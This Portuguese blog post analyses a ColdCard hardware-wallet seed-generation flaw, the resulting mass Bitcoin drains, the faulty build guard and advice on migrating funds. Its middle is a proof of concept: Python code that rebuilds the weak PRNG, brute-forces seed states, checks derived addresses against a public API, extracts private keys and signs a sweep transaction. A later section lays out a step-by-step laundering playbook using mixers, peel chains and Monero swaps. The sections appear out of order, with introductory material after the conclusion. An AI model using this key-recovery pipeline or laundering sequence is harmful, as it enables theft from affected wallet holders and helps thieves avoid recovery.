mnemonic (12 palavras): abuse boss fly battle rubber wasp afraid hamster guide essence vibrant tattoo
seed (64 bytes): a3a99acc7fe076cdc923d0ae79ee735671d8d70a79de19593cca8638f3194251...
root xprv: xprv9s21ZrQH143K25JhKqEwvJW7QAiVvkmi4WRenBZanA6kxHKtKAQQKwZG65kC...
chave privada (número inteiro): 1332683685242456724974769347593961509584253593377187298409830148921683854281
endereço: bc1qxjayuwxqj04waw2j4xp5mlhjl47dzdl9mcjmnw

A chave privada é só um número inteiro. A partir dele, a curva elíptica calcula a chave pública; a chave pública é hasheada até virar o endereço. O endereço é o que aparece na blockchain; o número inteiro é o que permite gastar.

No caso ColdCard, o número inteiro não tinha 128 bits de aleatoriedade real. Tinha ~40. Então, em vez de procurar uma agulha no universo, o atacante procurava uma agulha em uma floresta pequena.

Evidência real na blockchain

Não estou inventando números. O site independente coldcard-watch.vercel.app vem rastreando os drains transação a transação e publica o mínimo verificado: 1.128,6633 BTC drenados de 2.334 endereços confirmados. O próprio site deixa claro que esses são mínimos verificados, não totais — outras clusters provavelmente existem.

Ele identifica dois episódios de drenagem:

• 30 de julho de 2026, blocos 960183 a 960191 — 1.195 endereços drenados.
• 31 de julho de 2026, blocos 960345 a 960369 — 1.126 endereços drenados.

Os principais clusters públicos que compõem esse mínimo incluem:

• bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0 — recebeu 594,47723261 BTC em 501 outputs.
• bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3 — recebeu ~398,476 BTC em uma única transação com 491 inputs (14edd9ee...).
• bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q — recebeu ~89,623 BTC em uma única transação com 204 inputs (4b50d61a...).

Só esses três clusters já somam ~1.082 BTC; as demais transações verificadas levam o total mínimo para 1.128,6633 BTC.

O primeiro cluster transferiu ~562 BTC para bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r; é o mesmo dinheiro, não uma quarta vítima.

Um exemplo concreto: a transação 78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d consolida três inputs do mesmo endereço vulnerável bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr, sendo um deles de quase 29,9 BTC. Os três inputs usam a mesma chave pública comprimida:

037dc5356b71d0209d5d97315450166c07e7bba67d2e53c0154f5c56eb06f6970e

Ou seja, três UTXOs diferentes, mesmo dono, mesma chave privada. O atacante encontrou essa chave e assinou tudo de uma vez.

Outros endereços de origem com valores expressivos incluem bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf (~24,08 BTC), bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5 (~14,43 BTC) e bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw (~11,74 BTC). Você pode clicar em cada um e ver os UTXOs sendo movidos para um endereço de consolidação.

A Bitcoin Optech edição 416 estimava perdas acima de 1.000 BTC enquanto o caso se desenrolava; o rastreamento independente agora confirma pelo menos 1.128,6633 BTC roubados.

O que a timeline na blockchain sugere sobre a ordem do ataque

O coldcard-watch mostra dois episódios distintos, separados por mais de 24 horas. O primeiro aconteceu entre os blocos 960183 e 960191 (30 de julho, por volta de 01:10 UTC); o segundo, entre 960345 e 960369 (31 de julho). Dentro do primeiro episódio, os três grandes clusters (~594, ~398 e ~89 BTC) foram minerados em blocos consecutivos — portanto, dentro de cada onda as varreduras foram disparadas praticamente ao mesmo tempo.

Essa forma de ondas separadas é compatível com duas interpretações:

1. Mesmo atacante, pré-computação em lotes. A primeira onda pega os alvos mais fáceis e mais bem financiados; a segunda onda vem de um segundo lote de candidatos já pré-computados.
2. Múltiplos atacantes. Depois que a falha se tornou pública, outros atores entraram com seus próprios dicionários de estados prováveis.

Em qualquer um dos casos, a economia do ataque favorece a ordem da tabela anterior. O Mk2/Mk3 v4 é o melhor custo-benefício:

• ~40 bits efetivos ≈ 2^40 ≈ 1,1 trilhão de estados candidatos.
• Numa GPU que teste 1 milhão de candidatos por segundo (incluindo derivação BIP32 e consulta ao explorer), levaria cerca de 13 dias para varrer tudo. Com 100 GPUs/FPGAs, cai para poucas horas.
• Como o RTC dos Mk2/Mk3 provavelmente começa zerado ou estático no cold boot, conforme a Block aponta, o SysTick sozinho reduz o espaço a ~80 mil valores (~16 bits), tornando a busca trivial em segundos.

Mk4/Q/Mk5 com reseed depende do quanto o fallback é conhecido:

• Se o fallback é conhecido, só restam os 32 bits do secure element: 2^32 ≈ 4,3 bilhões de candidatos por aparelho, ou cerca de 1,2 hora por dispositivo a 1 milhão/s.
• Se o fallback é completamente desconhecido, o espaço sobe para ~2^72, cerca de 4,7 sextilhões de candidatos — inviável por força bruta pura.

Por isso a primeira onda deve ser dominada por Mk3. A segunda onda, mais de um dia depois, pode incluir lotes adicionais do mesmo modelo ou modelos mais difíceis em que o atacante conseguiu perfilar o fallback. Sem identificar o modelo por trás de cada endereço, não dá para afirmar com certeza, mas a ordem de dificuldade está clara.

A velocidade também mostra que o ataque não começou do zero no dia 30 de julho. Para varrer 1,1 trilhão de estados e achar centenas de endereços com saldo, o atacante já tinha infraestrutura pronta ou passou dias ou semanas pré-computando antes de mover os primeiros UTXOs.

O que a chain revela sobre a operação

O site coldcard-hack.up.railway.app analisa em detalhe as três ondas que esvaziaram 1.082,59 BTC em 41 minutos (blocos 960183 a 960191). Embora o site avise que foi compilado por um agente de IA e não revisado por humanos, os dados da blockchain são verificáveis:

Detalhes que saltam aos olhos:

• Ordem por saldo: dentro de cada onda, as transações foram ordenadas do maior para o menor saldo. Isso não é acidente; é uma fila de prioridade configurada no script.
• Formato idêntico: todas as 1.195 sweeps gastam todos os UTXOs de um único endereço de origem para um único output, sem troco. Não há variação manual.
• Taxa uniforme: mediana de 30,136986 sat/vB em todas as ondas — o mesmo script escolhendo a taxa.
• Tipos de endereço: 1.182 eram SegWit nativo (v0_p2wpkh), 7 P2SH-wrapped e 6 legacy. Portanto o ataque não se limitou a BIP84, embora a maioria dos usuários ColdCard use bech32.
• Fundos parados: até o momento em que o site congelou os dados, os ~1.082 BTC ainda estavam nos vaults, sem mixer, sem peel chain, sem movimentação posterior.

Tudo isso aponta para uma única operação automatizada, não para 1.195 roubos independentes.

Como isso passou despercebido

O mesmo coldcard-hack.up.railway.app mapeia os commits que introduziram o bug. Os fatos mais graves:

• O commit que adicionou a guarda #ifndef errada no libngu teve uma mensagem de um caractere, alterou 28 arquivos e não passou por pull request.
• O commit First pass w/ libNgU, que migrou a geração de seeds para o libngu e removeu código GPL, alterou 120 arquivos e também foi empurrado diretamente, sem PR.
• Os dois commits posteriores que adicionaram o reseed de 32 bits e a mistura do secure element até abriram PRs, mas foram mergeados com zero reviews.

Uma mudança crítica no caminho de geração de entropia passou sem revisão end-to-end. O TRNG correto existia no binário; o problema foi que o símbolo errado foi linkado, e ninguém escreveu um teste que provasse de onde a seed realmente vinha.

O passo a passo conceitual do ataque

Antes do código, o fluxo geral:

1. Reproduzir o RNG. O atacante implementa o Yasmarang exatamente como no firmware, incluindo o XOR com o segundo Yasmarang do libNgU.
2. Enumerar estados plausíveis. Para cada combinação de UID, SysTick, RTC e, nos modelos novos, reseed do secure element, ele gera os 32 bytes que a ColdCard teria gerado como entropia.
3. Derivar a wallet. A partir dessa entropia, calcula a mnemonic BIP39, a seed BIP32, e deriva os primeiros endereços de recebimento e troco.
4. Consultar a blockchain. Para cada endereço derivado, pergunta a um explorador ou a um node próprio se existe UTXO.
5. Parar no match. Quando um endereço derivado bate com um endereço que tem saldo, o atacante já tem a chave privada correspondente.
6. Gastar. Com a chave privada, ele monta uma transação que move o UTXO para um endereço que ele controla.

A blockchain é o oráculo. Sem ela, o atacante não saberia qual estado gerou dinheiro real. Com ela, cada UTXO encontrado confirma que ele acertou a chave.

Código de prova de conceito

O script abaixo é didático. Ele não foi otimizado para GPU, não roda em segundos contra 40 bits e não lida com todas as variações de firmware. O que ele faz é tornar o ataque legível, função por função.

1. O PRNG quebrado: Yasmarang

def yasmarang_step(state):
    """state = [pad, n, d, dat]; muta a lista e devolve um uint32."""
    pad, n, d, dat = state

    pad = (pad + dat + d * n) & 0xFFFFFFFF
    pad = ((pad << 3) | (pad >> 29)) & 0xFFFFFFFF
    n = pad | 2
    d = (d ^ ((pad << 31) | (pad >> 1))) & 0xFFFFFFFF
    dat = (dat ^ (pad & 0xFF) ^ ((d >> 8) & 0xFF) ^ 1) & 0xFF

    out = (pad
           ^ ((d << 5) & 0xFFFFFFFF)
           ^ (pad >> 18)
           ^ ((dat << 1) & 0xFFFFFFFF)) & 0xFFFFFFFF

    state[:] = [pad, n, d, dat]
    return out

O que faz: implementa o gerador determinístico que estava no firmware. É a mesma função que qualquer um pode copiar do código fonte do MicroPython.

Exemplo de estado:

>>> s = [0x0A8CE26F, 69, 233, 0]
>>> [hex(yasmarang_step(s)) for _ in range(3)]
['0x12f99f10', '0x1e0841df', '0x8f794c6c']

2. Do estado do RNG para entropia da ColdCard

def coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr, reseed=None):
    """
    Simula o que a ColdCard fazia para gerar os 32 bytes de entropia.

    - MicroPython inicializa seu Yasmarang com:
        pad = UID_low32 ^ SysTick->VAL
        n   = RTC->TR
        d   = RTC->SSR
    - libNgU mantém um segundo Yasmarang com constantes públicas.
    - Cada palavra de 32 bits é: chip ^ my_yasmarang().
    - Nos Mk4/Q/Mk5, o reseed altera o 'pad' do estado do libNgU.
    """
    mpy_state = [uid_low32 ^ systick, rtc_tr, rtc_ssr, 0]
    libngu_state = [0x0A8CE26F, 69, 233, 0]

    if reseed is not None:
        # reseed() no firmware só sobrescreve yasmarang_pad
        libngu_state[0] = reseed & 0xFFFFFFFF

    # A ColdCard pode fazer chamadas extras antes de gerar a seed (health
    # check, etc.). Na prática o atacante modela o histórico exato de
    # chamadas. Aqui simplificamos para 8 palavras = 32 bytes.
    words = []
    for _ in range(8):
        chip = yasmarang_step(mpy_state)
        mix = chip ^ yasmarang_step(libngu_state)
        words.append(struct.pack("<I", mix))

    return b"".join(words)

O que faz: monta o estado inicial. O pad do MicroPython é UID_low32 ^ SysTick; n e d vêm do RTC. O libNgU entra com constantes públicas. Cada palavra é o XOR das duas. Esse XOR não cria aleatoriedade: se os dois lados são reproduzíveis, o resultado também é.

Exemplo:

>>> coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78).hex()
'3013f52faaef2a65c47fee63c83e9773d505bd05e4b2b43f56bb8c60ecc66f66'

3. De entropia para endereço Bitcoin

def first_addresses(entropy_bytes, account=0):
    """
    Dada a entropia bruta, gera a mnemonic BIP39, a seed BIP32 e os
    primeiros endereços SegWit nativos de recebimento e troco.
    """
    mnemonic = mnemonic_from_bytes(entropy_bytes)
    seed = mnemonic_to_seed(mnemonic)
    root = HDKey.from_seed(seed)

    addrs = {"mnemonic": mnemonic}
    for change in [0, 1]:
        for idx in range(5):
            path = f"m/84'/0'/{account}'/{change}/{idx}"
            key = root.derive(path)
            addr = p2wpkh(key.key.get_public_key()).address()
            label = "receive" if change == 0 else "change"
            addrs.setdefault(label, []).append(addr)
    return addrs

O que faz: pega os 32 bytes, transforma em 24 palavras BIP39, calcula a seed, abre a árvore BIP32 e deriva os endereços. Na prática o atacante testa dezenas ou centenas de índices e também outras contas.

Exemplo:

>>> cand = first_addresses(coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78))
>>> cand["mnemonic"]
'copy panic episode fiction verify cream ball worry glow draft place tray expect teach bleak north reflect wide puzzle boat attract glimpse rural setup'
>>> cand["receive"][0]
'bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp'

4. Consultar a blockchain como oráculo

def has_utxo(address):
    """True se o endereço tiver qualquer UTXO no mempool.space."""
    url = f"https://mempool.space/api/address/{address}/utxo"
    try:
        r = requests.get(url, timeout=10)
        r.raise_for_status()
        return len(r.json()) > 0
    except Exception as e:
        print("erro consultando", address, e)
        return False

O que faz: faz a pergunta real. Sem essa consulta, o atacante não saberia se acertou. A blockchain é o oráculo.

Exemplo de não acerto:

>>> has_utxo("bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp")
False

O atacante descarta e passa ao próximo candidato.

Exemplo de acerto (o endereço real da vítima bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr, antes do sweep):

[
  {
    "txid": "78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d",
    "vout": 0,
    "value": 2989251877,
    "status": {"confirmed": true, "block_height": 960188}
  }
]

Quando has_utxo devolve True, o atacante sabe que a seed que ele acabou de gerar produz aquele endereço — e, portanto, a chave privada correspondente.

5. Enumerar candidatos e caçar

def brute_mk3(uid_low32):
    """
    Exemplo para Mk3/Mk2 v4: varre SysTick e RTC plausíveis.
    Na prática o atacante usa GPUs/FPGAs e restringe o UID pelo serial.
    """
    for systick in range(80_000):
        for rtc_tr in range(0x000000, 0x240000, 0x100):
            for rtc_ssr in range(0, 256):
                yield coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr)


def brute_mk4(uid_low32, systick, rtc_tr, rtc_ssr):
    """
    Exemplo para Mk4/Q/Mk5: o fallback é fixado e o atacante enumera
    os 2^32 valores possíveis do reseed do secure element.
    """
    for reseed in range(0x100000000):
        yield coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr, reseed)


def hunt(uid_low32, generator):
    for entropy in generator:
        candidate = first_addresses(entropy)
        for addr in candidate["receive"] + candidate["change"]:
            if has_utxo(addr):
                print("ACERTOU!")
                print("  mnemonic:", candidate["mnemonic"])
                print("  endereço :", addr)
                return candidate


# Exemplo didático: use um UID conhecido e um gerador Mk3 reduzido.
# hunt(0xAABBCCDD, brute_mk3(0xAABBCCDD))

O que fazem: brute_mk3 varre estados plausíveis para Mk3; brute_mk4 varre os 2^32 reseeds do secure element; hunt é o loop que gera, deriva e checa. O atacante real não roda em Python; escreve isso em C/CUDA/FPGA e paraleliza por UID. Mas a lógica é idêntica.

Depois de achar a colisão

Quando hunt retorna, o atacante já tem a mnemonic e o endereço com saldo. Com elas, ele obtém a chave privada:

from embit.bip39 import mnemonic_to_seed
from embit.bip32 import HDKey

seed = mnemonic_to_seed(candidate_mnemonic)
root = HDKey.from_seed(seed)
addr_key = root.derive("m/84'/0'/0'/0/0")

print("WIF comprimido:", addr_key.key.wif())
print("Endereço      :", addr_key.address())

Saída típica:

WIF comprimido: L1P8P5vQUoRiNXpDuezfTf3GJtsFBWyJZsvfVs2gxNtxaAXSNhhF
Endereço      : bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp

Esse WIF é a chave privada no formato que qualquer wallet entende. A partir daqui o atacante pode:

1. Importar a seed ou o WIF no Sparrow, Electrum ou outra wallet.
2. Rescanar a blockchain para ver todos os UTXOs daquela seed.
3. Montar uma transação mandando os fundos para um endereço que ele controla.
4. Assinar e transmitir.

Exemplo concreto de sweep

No caso real, o atacante varreu o UTXO de 29.89251877 BTC do endereço bc1qe85jr... para o endereço de consolidação. O que ele precisava produzir era uma transação assinada. O esqueleto, com valores didáticos e um input fictício, fica assim:

from bitcoinlib.transactions import Transaction
from bitcoinlib.keys import HDKey

# chave recuperada a partir da seed colidida
key = HDKey.from_seed(candidate_mnemonic).derive("m/84'/0'/0'/0/0")

input_value  = 2_989_251_877      # 29.89251877 BTC, em satoshis
fee          = 7_380              # taxa em satoshis
output_value = input_value - fee  # o que sobra para o atacante

tx = Transaction(network='bitcoin', fee=fee, witness_type='segwit')
tx.add_input(
    'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',  # txid do UTXO da vítima
    0,
    keys=key,
    value=input_value,
    locking_script=bytes.fromhex('0014') + key.hash160,
    script_type='sig_pubkey',
    address=key.address()
)
tx.add_output(output_value, 'bc1qqdcszapk2yjrw0esf4t0etnlpjs5krsk5e99ru')  # endereço do atacante
tx.sign()

print(tx.raw_hex())

Uma transação assinada válida tem esse formato (hex truncado):

01000000000101aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000000000ffffffff...

O atacante transmite esse hex para qualquer node Bitcoin (mempool.space, seu próprio node, Electrum, etc.). O protocolo não pergunta de onde veio a chave; só verifica se a assinatura satisfaz o script. Se a assinatura for válida, a rede inclui a transação no próximo bloco e o UTXO muda de dono.

No ataque real, isso foi feito 1.195 vezes em 41 minutos, todos com o mesmo script, a mesma taxa e a mesma lógica de ordenação por saldo.

O que essa classe de bugs significa

Esse não é um ataque à curva elíptica, ao SHA-256, ao BIP39 ou ao Bitcoin. É um ataque à entropia. O fabricante reduziu o espaço de chaves e o protocolo simplesmente aceitou as assinaturas que saíram daquele espaço menor.

Três lições:

1. Não confie na aparência de aleatoriedade. O output do Yasmarang passa por testes estatísticos simples e parece aleatório. Mas se o estado inicial é previsível, toda a sequência é previsível.
2. Hash não cria entropia. Passar 40 bits de entrada por SHA-256 duas vezes gera um hash bonito e uniforme, mas ainda existem no máximo 2^40 hashes possíveis. O atacante enumera as entradas, não os hashes.
3. A blockchain é pública e permanente. Uma wallet vulnerável pode ficar anos quieta até alguém ligar os pontos. No dia em que o ataque é publicado, todos os UTXOs daquele espaço de chaves viram alvos.

Dá para pegar o criminoso?

Uma pergunta que aparece toda vez que um roubo de criptomoedas ganha escala é: “será que dá para rastrear quem fez isso?”. A resposta curta é: talvez, mas não é trivial, e rastrear não é o mesmo que recuperar os bitcoins.

Clay Garrett, que está entre as pessoas investigando o caso, publicou uma thread no X alegando que a equipe dele identificou um padrão de varredura incomum. Segundo a thread, o operador do ataque teria usado uma conta paga de um provedor de serviços blockchain bem conhecido para consultar os endereços-fonte e a atividade relacionada durante os sweeps. Os logs do provedor teriam correspondido, com “especificidade extraordinária”, ao número, ao timing e à sequência das requisições. O provedor, segundo Garrett, estava apenas fornecendo serviços normais; as requisições em si não revelavam para que serviam.

O que isso significa, se for confirmado:

• Um provedor de serviços blockchain tipicamente exige conta, e muitas vezes pagamento. Isso pode deixar rastros: e-mail, método de pagamento, endereço IP, horários de acesso, padrão de uso da API.
• Se a conta passou por KYC, a probabilidade de identificar uma pessoa sobe muito. Se o pagamento foi feito com criptomoeda, voucher anônimo ou cartão de terceiros, o vínculo se torna fraco.
• Mesmo com um IP ou e-mail, o operador pode ter usado VPN, Tor, computação em nuvem descartável ou identidade roubada. Cada camada adicional reduz a chance de chegar até a pessoa real.
• Os fundos, até onde se sabe, ainda não foram movidos para mixers ou trocas. Enquanto estiverem parados, existe uma janela para congelamento ou recuperação judicial. Assim que forem trocados, misturados ou convertidos em fiat off-shore, a recuperação do ativo fica drasticamente mais difícil.

Ou seja: a thread aponta para uma linha de investigação promissora, mas é uma alegação em andamento, não uma prova concluída. Capturar o operador depende de como ele se expôs nos serviços terceirizados, da qualidade dos logs, da jurisdição e da velocidade das autoridades. Recuperar os bitcoins depende de onde as moedas estiverem quando isso acontecer. As duas coisas estão relacionadas, mas não são a mesma coisa.

O que o atacante ainda não fez

Até agora, a operação foi tecnicamente competente no ataque, mas amadora na fuga. Os ~1.128 BTC roubados estão parados em endereços de consolidação conhecidos, sem mixer, sem coinjoin, sem movimentação posterior. Isso é incomum para um roubo dessa magnitude e merece atenção, porque define o que ainda é recuperável.

O que seria um mixer, e por que ele não foi usado

Um mixer (ou tumbler) é um serviço que recebe bitcoins de várias pessoas, embaralha os valores em uma única transação ou série de transações e devolve bitcoins equivalentes em endereços novos. A ideia é quebrar a cadeia pública de “de onde veio”.

O modelo clássico é o CoinJoin: vários participantes assinam juntos uma transação com muitos inputs e muitos outputs do mesmo tamanho. Observador externo vê que o dinheiro entrou, mas não consegue dizer qual output pertence a quem. Ferramentas como Wasabi Wallet e Samourai Wallet implementam CoinJoin de forma automatizada. O Samourai chegou a oferecer o serviço Whirlpool, onde os UTXOs passam por rodadas de remixagem que dificultam ainda mais o rastreamento.

Outro modelo é o mixer centralizado, em que você envia bitcoins para um endereço do serviço e recebe de volta de um pool diferente, menos uma taxa. Historicamente serviços como Bitcoin Fog e Helix funcionavam assim. A diferença para o CoinJoin é que você precisa confiar no operador do mixer — e vários desses operadores foram presos exatamente porque os investigadores conseguiram ligar os depósitos aos saques.

No caso do roubo da ColdCard, nenhuma dessas técnicas apareceu ainda. Os bitcoins saíram das wallets das vítimas, foram parar em três grandes clusters e, de lá, não se moveram. Isso pode significar várias coisas:

1. O atacante ainda está decolando. Roubar 1.128 BTC em 41 minutos é uma coisa; lavar 1.128 BTC sem deixar rastros é outra. Configurar uma pipeline de anonimização leva tempo, custa dinheiro e exige contas pré-estabelecidas.
2. O atacante não esperava tanta visibilidade. Quando a imprensa e os analistas de blockchain começam a acompanhar endereços em tempo real, qualquer movimentação imediata vira notícia. Parar os fundos é uma forma de esperar o burburinho baixar.
3. O atacante pode estar negociando uma recuperação. Não é raro que grandes roubos terminem em acordo, com parte dos fundos devolvida em troca de anonimato do ladrão.

Como se esconde normalmente uma quantia dessas

Se o operador quiser realmente dificultar o rastreamento, o playbook padrão envolve várias camadas:

1. CoinJoin em rodadas. O atacante divide os fundos em valores padronizados e passa por múltiplas rodadas de CoinJoin. Depois de algumas rodadas, o grafo deixa de ser uma árvore e vira uma teia, dificultando a atribuição.
2. Peel chain. Em vez de mandar tudo de uma vez, ele vai transferindo pequenas fatias por dezenas ou centenas de endereços intermediários, como descascar uma cebola. Cada endereço envia a maior parte para o próximo e uma pequena fração para um destino final.
3. Trocas instantâneas e bridges. Trocar Bitcoin por Monero em uma exchange descentralizada ou bridge é um caminho comum: Monero oculta remetente, destinatário e valor. Depois de algumas transações em Monero, o atacante pode trocar de volta para Bitcoin em novos endereços.
4. Exchanges com KYC fraco ou nenhum. Depositar em corretoras que não exigem identificação, ou que aceitam contas de terceiros, permite converter em stablecoins, fiat ou outras criptomoedas. Mesmo com KYC, contas compradas ou de laranjas ajudam a criar distância.
5. Fiat off-shore. O estágio final é transformar o ativo em dinheiro real fora das jurisdições que cooperam com investigações. Casas de câmbio não reguladas, caixas eletrônicos de Bitcoin, cartões pré-pagos e contas em paraísos fiscais entram aqui.

Cada uma dessas camadas não torna o rastreamento impossível, mas aumenta o custo. Uma investigação bem financiada ainda pode seguir pistas: taxas pagas por uma exchange, padrões de timing, endereços de troco, correspondência de valores. O problema é que, quanto mais camadas, mais tempo leva — e quanto mais tempo, menor a chance de congelar os fundos antes que sejam gastos.

Por que isso importa agora

O fato de os bitcoins ainda estarem nos endereços de consolidação significa que a janela de recuperação ainda está aberta, em teoria. Autoridades e investigadores privados podem monitorar esses endereços, pedir congelamento em exchanges e pressionar provedores de serviços blockchain. Se o atacante enviar qualquer satoshi para um mixer conhecido, o alerta dispara.

Mas essa janela se fecha assim que os fundos entrarem em um pipeline de anonimização. Depois de um CoinJoin bem feito, de uma troca por Monero e de uma rede de peel chains, a pergunta deixa de ser “onde está o dinheiro?” e passa a ser “quem conseguimos prender?”. Recuperar o ativo se torna tecnicamente inviável para a maioria das vítimas.

Ou seja, o atacante já venceu a primeira batalha — encontrar e roubar as chaves. A segunda batalha, de sair com o dinheiro de forma anônima, é a que normalmente separa ladrões de grandes carteiras de ladrões que acabam presos.

Conclusão

Se você ainda tem fundos em uma seed gerada por firmware ColdCard vulnerável, o risco não é teórico. A blockchain já mostra centenas de endereços sendo esvaziados por alguém que reproduziu o RNG defeituoso.

A ColdCard não guarda seus bitcoins. Ela guardava a chave. A chave nasceu fraca. Quem tem uma cópia da mesma chave — obtida enumerando estados de um PRNG — pode assinar transações do seu lado, sem nunca ter tocado no aparelho.

A única defesa é mover os fundos para uma seed nova, gerada por firmware corrigido ou, melhor ainda, por um processo que combine fontes independentes de entropia (dados casino-grade, TRNG de outro fabricante, host offline). E testar a restauração antes de enviar valor relevante.

Não confie em empresa, certificação, influencer ou artigo. Nem neste aqui. Verifique.

Não estou exagerando pra fazer título caça-clique. Em 29 de julho apareceram transações varrendo wallets de usuários. Um dos endereços de consolidação recebeu 594,47723261 BTC em 501 outputs. Isso é dado público na blockchain, não screenshot de Telegram. A edição 416 do Bitcoin Optech, publicada enquanto o caso ainda se desenrolava, já estimava perdas acima de 1.000 BTC.

O número exato ainda vai mudar. O cluster de 594 BTC é diretamente observável; atribuir cada input à mesma vulnerabilidade e fechar o total global exige análise adicional. Mas a combinação de relatos de vítimas, padrão do sweep, reprodução do bug e admissão da própria Coinkite é forte o bastante. Esperar um relatório forense bonito enquanto uma seed vulnerável continua recebendo fundos é uma péssima estratégia.

Também não entre em pânico e digite suas 24 palavras no primeiro site que promete “verificar ColdCard”. Isso é a outra forma, bem mais fácil, de perder tudo. Seed nunca entra em website, chat, extensão de browser ou computador online. Primeiro entenda se foi afetado. Depois migre com calma, conferindo endereço na tela de um signer confiável.

Quem precisa agir agora

A vulnerabilidade está na geração da seed. O que importa é o modelo e o firmware usados no dia em que aquelas palavras foram criadas, não o firmware instalado hoje nem onde você importou a seed depois.

Na prática: se você tem qualquer ColdCard, mova os fundos pra uma wallet derivada de uma seed completamente nova. Melhor pecar pelo excesso de cuidado. As faixas abaixo dizem onde o bug já foi confirmado; não são motivo pra apostar a poupança da sua vida na hipótese de que todo o resto está perfeito. Atualizar o aparelho não conserta a seed antiga.

Segundo o advisory da Coinkite e a análise independente da Block, trate como comprometida qualquer seed gerada nestas condições:

A Block inclui Mk2 com firmware 4.x na mesma regressão do Mk3 e começa a faixa vulnerável dos dois no 4.0.0. A Coinkite concentrou o advisory no Mk3, a partir do 4.0.1, e nos modelos atuais. Eu trataria toda a linha 4.x até 4.1.9 como comprometida nos dois. Se você tem Mk2, não use a ausência dele no título do comunicado como conforto.

Há uma exceção importante: quem acrescentou pelo menos 50 jogadas justas, independentes e privadas de um dado durante a criação original preservou, em tese, no mínimo 128 bits vindos de fora. A própria Coinkite diz que essas seeds não estão em risco por este bug isoladamente. Se você não lembra exatamente quantas jogadas fez, qual fluxo usou ou se aqueles resultados continuaram privados, assuma que não fez.

Seed importada de outro gerador também não nasceu desse RNG defeituoso. Ela pode ter outros problemas, claro, mas não este. E atualizar firmware agora não volta no tempo pra reparar palavra nenhuma. Você precisa criar uma seed nova e transferir os UTXOs pra endereços derivados dela.

Restaurar as mesmas 24 palavras numa Trezor, Ledger, SeedSigner ou qualquer outro aparelho NÃO é uma migração. Você continua em perigo. O hardware mudou; a raiz e todo o universo de private keys derivadas continuam os mesmos. Outro derivation path pode até mostrar endereços diferentes, mas não acrescenta entropia. Se a ColdCard gerou aquela wallet com o RNG fraco, importar a seed em outro signer apenas ensina o aparelho novo a reproduzir as mesmas chaves vulneráveis. Crie uma wallet completamente nova, com entropia nova, e faça uma transação on-chain movendo os fundos da wallet antiga pra endereços da nova.

Eu faria isso mesmo tendo uma passphrase forte. A passphrase pode ter colocado uma barreira independente na frente do atacante, mas a própria Coinkite recomenda migrar. Depois de uma falha desta proporção, ficar calculando o mínimo teórico aceitável de risco é economizar no lugar errado.

O bug: #ifndef não significa “se for verdadeiro”

O post-mortem técnico da Coinkite é uma leitura constrangedora.

Em março de 2021, o firmware trocou ckcc.rng_bytes() por ngu.random.bytes() durante a migração pro libNgU e pro libsecp256k1 usado pelo Bitcoin Core. A escolha da biblioteca criptográfica era boa. A integração foi desastrosa.

O código de build definia:

#define MICROPY_HW_ENABLE_RNG (0)

Só que a guarda no libNgU verificava isto:

#ifndef MICROPY_HW_ENABLE_RNG
#error "get a HW TRNG plz"
#endif

#ifndef pergunta se o símbolo existe, não se o valor dele é diferente de zero. O símbolo existia. O build passou. Na resolução final, rng_get() apontou pro fallback de software do MicroPython, um PRNG determinístico chamado Yasmarang, inicializado com UID do microcontrolador e registradores de tempo. UID identifica chip. Relógio mede tempo. Nenhum dos dois é uma fonte criptográfica de aleatoriedade.

Pior: a implementação correta do TRNG estava dentro do binário. Reviews anteriores olharam pra ela e concluíram que estava tudo certo, mas ninguém verificou o caminho completo entre “gerar nova wallet” e o símbolo que de fato era chamado no executável. Não havia teste de integração que falhasse quando a seed saísse do gerador errado.

No Mk3, a estimativa preliminar da Coinkite é de cerca de 40 bits de entropia efetiva, em vez dos 128 bits mínimos esperados. Nos Mk4, Q e Mk5, valores dos secure elements entravam como uma segunda camada, e a empresa estima aproximadamente 72 bits. A análise da Block é ainda mais dura: apenas 32 bits do material dos secure elements chegavam ao estado do PRNG naquele reseed. Os modelos de ameaça e as estimativas não são idênticos. Nenhum deles chega perto do alvo.

Passar a saída ruim por SHA-256 não cria entropia. Se existem apenas 2^40 entradas possíveis, no máximo existirão 2^40 hashes possíveis. Eles ficam bonitos, uniformes e continuam enumeráveis.

Isso ficou no caminho mais importante do produto por mais de cinco anos.

Como uma reescrita de 120 arquivos chegou aqui

O Zach Herbert publicou uma timeline que vale resumir. Ele é cofundador da Foundation, fabricante da Passport e concorrente da Coinkite, portanto leia a interpretação com esse contexto. As datas e commits, porém, são verificáveis.

Em julho de 2020, a Foundation anunciou que sua primeira Passport aproveitaria o firmware GPLv3 da ColdCard. Dois dias depois, NVK reclamou publicamente do “clone” e disse que mudaria a licença. Em novembro, a ColdCard adicionou MIT mais Commons Clause, que deixava o código visível mas restringia produtos comerciais derivados. Em janeiro de 2021, a mudança apareceu formalmente no firmware 3.2.1.

No dia 1 de março veio o commit First pass w/ libNgU: 120 arquivos alterados, remoção de bibliotecas derivadas da Trezor sob GPL, troca da stack criptográfica e mudança do código que gerava seeds. Em 17 de março, a versão 4.0.0 anunciou a remoção do último código GPL.

